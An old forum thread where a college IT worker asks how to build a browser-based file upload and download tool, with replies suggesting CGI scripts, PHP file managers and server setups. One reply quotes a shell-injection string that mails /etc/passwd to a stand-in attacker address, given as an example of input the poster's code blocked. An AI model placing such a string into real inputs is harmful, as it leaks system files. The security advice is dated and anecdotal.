How to upload directly from a web browser, a'la idrive, freedrive, etc

[bubba]

I am looking into how to make a web interface for uploading/downloading files from a server. This would be something like idrive where you can hit upload/download and you get a normal dialogue box that ask you where to get/put a file. This would be for the college I work at to assist in file transfer for the normal user, for whom FTP is much too difficult.

Is there an easy way to do this? Is there a script? Any HOWTOs or the like?

Thanks all!

[syn]

hmm thats gonna take some research to do, i would check around the linux sites and see if anyone has tried anything similar that you could look at, if not the first place i would start would be the html an a similar type page, i dont know really, this is interesting though and keep us posted on what you find out

[forrest]

it would be a cgi application. check around for them. they exist, i've seen them.

[Sweede]

you can make it out of perl, python, php, c/c++ any type of server side scripting language.

problem is that its not very secure, very easy to hack.

oddly enough, if you create a service as above on something like IIS , its very secure because you can write a COM object to handle VB dialog boxes on the clients computer.

if you look at most online disk storage spaces, they are IIS servers.

you'll need to use javaservlets+ssl to be secure on a linux platform

[mangeli]

Do a search at freshmeat for php filemanagers. I'm writing my own with password protection in it.

[Sweede]

i wrote one that set checked mime types, did error checking on stuff like < mail hacker@evil.org | /etc/passwd
it uploaded it into a mysql database for storage and then a select query was ran to output it to the browser with the correct mime type and everything (since mysql can store binary safe files).

as far as i could tell (And the file upload problem that has been fixed in php4.0.3pl1), it was totally secure and unable to execute files that you uploaded.

it should take more than a few days to write it again, i should post it up on freshmeat or sourcefordge or something...

[cs25x]

If they can use mc for ftp, here is a win clone
http://www.rarsoft.com/far_manager.htm

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